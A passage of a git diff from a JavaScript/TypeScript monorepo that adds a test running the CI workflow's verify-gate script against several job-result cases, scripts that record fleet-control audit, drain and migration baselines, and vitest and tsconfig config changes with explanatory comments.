+      expect(outcome.metrics.maxSelectorBytes).toBeLessThanOrEqual(1_000_000);
+      expect(outcome.metrics.maxBoundStringBytes).toBeLessThanOrEqual(
+        2_000_000,
+      );
+      if (mode === 'modern') {
+        expect(outcome.metrics.maxResultBytes).toBeLessThan(
+          setup.maxSnapshotBytes,
+        );
+        expect(outcome.metrics.maxSelectorBytes).toBeGreaterThan(90 * 4096);
+      } else {
+        expect(outcome.metrics.maxResultBytes).toBeGreaterThan(
+          setup.maxSnapshotBytes,
+        );
+        expect(outcome.metrics.maxResultBytes).toBeLessThan(
+          setup.maxSnapshotBytes + 5000,
+        );
+      }
+    } finally {
+      expect(await result(probe, '/retention-e/cleanup')).toEqual({
+        remaining: [],
+      });
+    }
+  });
 });
diff --git a/scripts/github-yaml-check.test.mjs b/scripts/github-yaml-check.test.mjs
index b7027531..b156022d 100644
--- a/scripts/github-yaml-check.test.mjs
+++ b/scripts/github-yaml-check.test.mjs
@@ -1,19 +1,25 @@
 import assert from 'node:assert/strict';
+import { spawnSync } from 'node:child_process';
 import {
   mkdirSync,
   mkdtempSync,
+  readFileSync,
   rmSync,
   symlinkSync,
   writeFileSync,
 } from 'node:fs';
 import { tmpdir } from 'node:os';
-import { basename, dirname, join } from 'node:path';
+import { basename, dirname, join, resolve } from 'node:path';
 import { afterEach, test } from 'node:test';
+import { fileURLToPath } from 'node:url';
+import { parse } from 'yaml';
 import {
   checkGithubYamlFiles,
   runGithubYamlCheck,
 } from './github-yaml-check.mjs';
 
+const repositoryRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+
 const temporaryDirectories = [];
 
 afterEach(() => {
@@ -43,6 +49,28 @@ function captureRun(githubDirectory) {
   return { exitCode, stderr, stdout };
 }
 
+// The assertion is read out of the tracked workflow, not restated here, so the
+// case evaluates what ships rather than a copy of it.
+function verifyGateScript() {
+  const workflow = parse(
+    readFileSync(join(repositoryRoot, '.github/workflows/ci.yml'), 'utf8'),
+  );
+  const steps = workflow.jobs.verify.steps.filter((step) => 'run' in step);
+  assert.equal(steps.length, 1, 'the verify gate job has one run step');
+  return steps[0].run;
+}
+
+function runVerifyGate(script, needs) {
+  return spawnSync('bash', ['-e', '-c', script], {
+    encoding: 'utf8',
+    env: { ...process.env, NEEDS: JSON.stringify(needs) },
+  });
+}
+
+function resultListing(needs) {
+  return Object.entries(needs).map(([job, { result }]) => `${job}: ${result}`);
+}
+
 test('counts a valid YAML mapping', () => {
   const result = checkGithubYamlFiles(
     fixture({ 'workflow.yml': 'name: CI\n' }),
@@ -364,3 +392,46 @@ test('prints parser warnings without failing the run', () => {
   );
   assert.equal(run.stdout, 'GitHub YAML check passed (1 files).\n');
 });
+
+test('the ci.yml gate rejects an empty or non-success needs context', (t) => {
+  if (spawnSync('jq', ['--version']).status !== 0) {
+    t.skip('jq is not on PATH, so the gate assertion cannot be evaluated');
+    return;
+  }
+
+  const script = verifyGateScript();
+  const cases = [
+    { needs: {}, succeeds: false },
+    {
+      needs: {
+        'verify-core': { result: 'success' },
+        'direct-scenario': { result: 'success' },
+      },
+      succeeds: true,
+    },
+    ...['failure', 'cancelled', 'skipped'].map((result) => ({
+      needs: {
+        'verify-core': { result: 'success' },
+        'direct-scenario': { result },
+      },
+      succeeds: false,
+    })),
+  ];
+
+  for (const { needs, succeeds } of cases) {
+    const label = JSON.stringify(needs);
+    const run = runVerifyGate(script, needs);
+
+    assert.equal(run.error, undefined, label);
+    if (succeeds) {
+      assert.equal(run.status, 0, label);
+    } else {
+      assert.ok(run.status > 0, label);
+    }
+    assert.deepEqual(
+      run.stdout.split('\n').filter((line) => line !== ''),
+      resultListing(needs),
+      label,
+    );
+  }
+});
diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs
new file mode 100644
index 00000000..9297d88d
--- /dev/null
+++ b/scripts/record-audit-baseline.mjs
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// Usage:
+//   node scripts/record-audit-baseline.mjs --check
+//   node scripts/record-audit-baseline.mjs --write
+
+import { runBaselineRecorder } from './baseline-recorder.mjs';
+
+await runBaselineRecorder({
+  scriptUrl: import.meta.url,
+  noun: 'audit',
+  worldModule: 'packages/fleet-control/test/fixtures/fleet-audit-world.ts',
+  baselineFile: 'packages/fleet-control/test/fixtures/fleet-audit-baseline.ts',
+  run: (world) => world.runFleetAuditBaseline(),
+  imports: `import type { DriftFinding } from '../../src/fleet.js';
+import type { AuditOpLogEntry } from './fleet-audit-world.js';`,
+  exports: [
+    {
+      name: 'AUDIT_BASELINE_FINDINGS',
+      key: 'findings',
+      satisfies: 'readonly DriftFinding[]',
+    },
+    {
+      name: 'AUDIT_BASELINE_OPS',
+      key: 'ops',
+      satisfies: 'readonly AuditOpLogEntry[]',
+    },
+  ],
+  summary: (baseline) => {
+    const distinctKinds = new Set(
+      baseline.findings.map((finding) => finding.kind),
+    ).size;
+    return (
+      `${baseline.findings.length} findings (${distinctKinds} distinct kinds), ` +
+      `${baseline.ops.length} ops`
+    );
+  },
+});
diff --git a/scripts/record-drain-baseline.mjs b/scripts/record-drain-baseline.mjs
new file mode 100644
index 00000000..08a7bc73
--- /dev/null
+++ b/scripts/record-drain-baseline.mjs
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// Usage:
+//   node scripts/record-drain-baseline.mjs --check
+//   node scripts/record-drain-baseline.mjs --write
+
+import { runBaselineRecorder } from './baseline-recorder.mjs';
+
+await runBaselineRecorder({
+  scriptUrl: import.meta.url,
+  noun: 'drain',
+  worldModule:
+    'packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts',
+  baselineFile:
+    'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts',
+  run: (world) => world.runFleetInventoryDrain(),
+  imports: `import type { FleetResourceInventory } from '../../src/types.js';
+import type { DrainRequestRecord } from './fleet-inventory-drain-world.js';`,
+  exports: [
+    {
+      name: 'DRAIN_BASELINE_REQUESTS',
+      key: 'requests',
+      satisfies: 'readonly DrainRequestRecord[]',
+    },
+    {
+      name: 'DRAIN_BASELINE_INVENTORY',
+      key: 'inventory',
+      satisfies: 'FleetResourceInventory',
+    },
+  ],
+  summary: (drain) =>
+    `${drain.requests.length} requests, ` +
+    `${drain.inventory.findings.length} findings, ` +
+    `${drain.inventory.deployments.length} deployments, ` +
+    `${drain.inventory.routes.length} routes`,
+});
diff --git a/scripts/record-migration-baseline.mjs b/scripts/record-migration-baseline.mjs
new file mode 100644
index 00000000..98d8f4c0
--- /dev/null
+++ b/scripts/record-migration-baseline.mjs
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// Usage:
+//   node scripts/record-migration-baseline.mjs --check
+//   node scripts/record-migration-baseline.mjs --write
+
+import { runBaselineRecorder } from './baseline-recorder.mjs';
+
+await runBaselineRecorder({
+  scriptUrl: import.meta.url,
+  noun: 'migration',
+  worldModule: 'packages/fleet-control/test/fixtures/fleet-migration-worlds.ts',
+  baselineFile:
+    'packages/fleet-control/test/fixtures/fleet-migration-baseline.ts',
+  run: async (world) => {
+    const success = await world.runFleetMigrationSuccessBaseline();
+    const stop = await world.runFleetMigrationStopBaseline();
+    return {
+      successResult: success.result,
+      successOps: success.ops,
+      stopError: stop.error,
+      stopOps: stop.ops,
+    };
+  },
+  imports: `import type { FleetRecord } from '../../src/types.js';
+import type { MigrationOpLogEntry } from './fleet-migration-worlds.js';`,
+  exports: [
+    {
+      name: 'MIGRATION_SUCCESS_BASELINE_RESULT',
+      key: 'successResult',
+      jsDoc: `/**
+ * An absent \`durableObjectTag\` key differs from a present key whose value
+ * is \`undefined\`.
+ */`,
+      satisfies: 'readonly FleetRecord[]',
+    },
+    {
+      name: 'MIGRATION_SUCCESS_BASELINE_OPS',
+      key: 'successOps',
+      jsDoc: `/**
+ * \`applyMigrations:verify\` depends on the spec array's reference identity;
+ * a per-version slice can contain the same migrations.
+ */`,
+      satisfies: 'readonly MigrationOpLogEntry[]',
+    },
+    {
+      name: 'MIGRATION_STOP_BASELINE_ERROR',
+      key: 'stopError',
+      satisfies: 'string',
+    },
+    {
+      name: 'MIGRATION_STOP_BASELINE_OPS',
+      key: 'stopOps',
+      satisfies: 'readonly MigrationOpLogEntry[]',
+    },
+  ],
+  summary: (baseline) =>
+    `${baseline.successResult.length} migrated records, ` +
+    `${baseline.successOps.length} success ops, ` +
+    `${baseline.stopOps.length} stop ops`,
+});
diff --git a/tsconfig.harness.json b/tsconfig.harness.json
index a89c0fa7..9696248f 100644
--- a/tsconfig.harness.json
+++ b/tsconfig.harness.json
@@ -6,6 +6,7 @@
   },
   "include": [
     "packages/breakwater/worker-tests/**/*.ts",
+    "packages/fleet-control/vitest.direct-scenario.config.ts",
     "packages/flowsafe/src/cloudflare-fidelity.workerd.test.ts",
     "packages/flowsafe/test-support/cloudflare-test-worker.ts",
     "packages/flowsafe/test-support/harness-probe.ts",
@@ -14,6 +15,7 @@
     "vitest.config.ts",
     "vitest.breakwater-workers.config.mts",
     "vitest.flowsafe-harness.config.ts",
-    "vitest.flowsafe-workers.config.ts"
+    "vitest.flowsafe-workers.config.ts",
+    "vitest.workerd-lifecycle.config.ts"
   ]
 }
diff --git a/vitest.breakwater-workers.config.mts b/vitest.breakwater-workers.config.mts
index d33619a9..2beb9660 100644
--- a/vitest.breakwater-workers.config.mts
+++ b/vitest.breakwater-workers.config.mts
@@ -3,12 +3,20 @@ import { fileURLToPath } from 'node:url';
 import { cloudflareTest } from '@cloudflare/vitest-pool-workers';
 import { defineConfig } from 'vitest/config';
 
-const packageRoot = fileURLToPath(
-  new URL('./packages/breakwater/', import.meta.url),
-);
-
+// The Workers pool for the breakwater worker-tests suite, on a split toolchain:
+// @cloudflare/vitest-pool-workers resolves miniflare 5.20260730.0-alpha, which
+// depends on workerd 1.20260730.1, and the root pnpm override
+// `miniflare@5.20260730.0-alpha>workerd` (package.json) re-points that workerd to
+// 1.20260903.1. An upgrade of the pool re-points the override to the workerd the
+// new miniflare depends on, or deletes the override once the pool resolves a
+// miniflare whose own workerd is the wanted one.
+//
+// `wrangler.configPath` and the test `include` resolve against different bases.
+// `configPath` is file-relative, built from `import.meta.url`. The `include` is
+// repository-relative: this config declares no `root`, so vitest resolves the
+// pattern from the workspace root. Declaring `root` rebases the `include` and
+// leaves `configPath` where it is.
 export default defineConfig({
-  root: packageRoot,
   plugins: [
     cloudflareTest({
       wrangler: {
@@ -23,6 +31,6 @@ export default defineConfig({
   ],
   test: {
     name: 'breakwater-workers',
-    include: ['worker-tests/**/*.workers.test.ts'],
+    include: ['packages/breakwater/worker-tests/**/*.workers.test.ts'],
   },
 });
diff --git a/vitest.config.ts b/vitest.config.ts
index 736bf59a..26c207a2 100644
--- a/vitest.config.ts
+++ b/vitest.config.ts
@@ -2,11 +2,24 @@ import { defineConfig } from 'vitest/config';
 
 // One `vitest` process for the whole workspace: `pnpm test` / `pnpm test:watch`
 // at the root run every package's suite (each with its own config/aliases),
-// with unified reporting and cross-package watch.
+// with unified reporting and cross-package watch. Root `package.json` splits
+// that run by project name for CI: `test:without-direct-scenario` and
+// `test:direct-scenario` pass `--project`, and the `verify-core` and
+// `direct-scenario` jobs in `.github/workflows/ci.yml` run one each.
 export default defineConfig({
   test: {
     projects: [
+      // Placement rule: a package's default suite arrives through this glob.
+      // A package-local config naming a second, non-default file set does not
+      // match the glob and is registered by its explicit path, as the entry
+      // below is. It sits beside its package so the package's own `test`
+      // script can run it with a package-relative `--config`, which names a
+      // config file rather than a project.
       'packages/*/vitest.config.ts',
+      // Standalone: this config imports nothing from
+      // `packages/fleet-control/vitest.config.ts`, so an option added there
+      // does not reach these two suites; `testTimeout` is set in both files.
+      'packages/fleet-control/vitest.direct-scenario.config.ts',
       'vitest.*-workers.config.*',
       'vitest.flowsafe-harness.config.ts',
       'vitest.workerd-lifecycle.config.ts',